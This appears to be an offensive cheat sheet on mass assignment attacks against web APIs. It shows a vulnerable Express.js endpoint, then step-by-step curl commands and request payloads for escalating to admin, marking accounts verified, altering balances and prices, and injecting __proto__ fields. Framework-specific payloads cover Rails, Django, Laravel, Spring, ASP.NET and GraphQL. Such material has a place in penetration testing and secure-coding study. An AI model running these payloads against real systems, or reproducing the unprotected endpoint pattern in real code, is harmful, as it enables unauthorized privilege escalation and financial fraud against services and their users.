Mass Assignment

// Vulnerable Express.js endpoint
app.put('/api/user/profile', (req, res) => {
  // DANGEROUS: Binds ALL request fields to the user object
  User.findByIdAndUpdate(req.user.id, req.body, { new: true })
    .then(user => res.json(user));
});

// Normal request:
PUT /api/user/profile
{"name": "John", "email": "john@example.com"}

// Attack request — adding unauthorized fields:
PUT /api/user/profile
{"name": "John", "email": "john@example.com", "role": "admin", "isVerified": true}

# Step 1: Find hidden fields by reading responses
# Make a GET request and note all returned fields:
curl -s https://target.com/api/user/profile -H 'Authorization: Bearer TOKEN' | jq .
# Response:
# {
#   "id": 123,
#   "name": "John",
#   "email": "john@example.com",
#   "role": "user",       ← interesting!
#   "isAdmin": false,    ← interesting!
#   "balance": 100,      ← interesting!
#   "verified": true
# }

# Step 2: Try adding these fields to an update request:
curl -X PUT https://target.com/api/user/profile \
  -H 'Authorization: Bearer TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"name": "John", "role": "admin"}'

# Step 3: Check if the field was modified:
curl -s https://target.com/api/user/profile -H 'Authorization: Bearer TOKEN' | jq .role
# If output is "admin" → mass assignment confirmed!

# Step 4: Try common privileged fields:
# role, isAdmin, is_admin, admin, privilege, permissions
# verified, email_verified, is_verified, active
# balance, credits, price, discount
# password, password_hash (in some frameworks)
# created_at, updated_at (timestamp manipulation)

# Ruby on Rails:
# Look for params.permit() to see what's allowed
# Try adding fields not in the permit list:
POST /users
user[name]=John&user[email]=john@test.com&user[admin]=true

# Django (Python):
# If using ModelForm without Meta.fields or exclude:
POST /register/
username=john&email=john@test.com&is_staff=true&is_superuser=true

# Laravel (PHP):
# If the model has $guarded = [] (empty guard):
POST /api/user
{"name": "John", "is_admin": 1}

# Spring Boot (Java):
# If using @ModelAttribute without @InitBinder whitelist:
POST /user/update
name=John&email=john@test.com&roles=ADMIN

# ASP.NET:
# If using [Bind] without Include/Exclude:
POST /User/Edit
Name=John&Email=john@test.com&IsAdmin=true

# Nested object injection:
PUT /api/user/profile
{
  "name": "John",
  "address": {
    "street": "123 Main St",
    "__proto__": {"isAdmin": true}
  }
}

# Array manipulation:
POST /api/order
{
  "items": [{"id": 1, "quantity": 1, "price": 0.01}]
}
# Override server-side price with client-supplied price

# Registration with role assignment:
POST /api/register
{
  "username": "attacker",
  "password": "password123",
  "email": "attacker@test.com",
  "role_id": 1,
  "group_id": 1
}

# GraphQL mass assignment:
mutation {
  updateUser(input: {
    name: "John"
    role: "ADMIN"
    verified: true
  }) {
    id
    name
    role
  }
}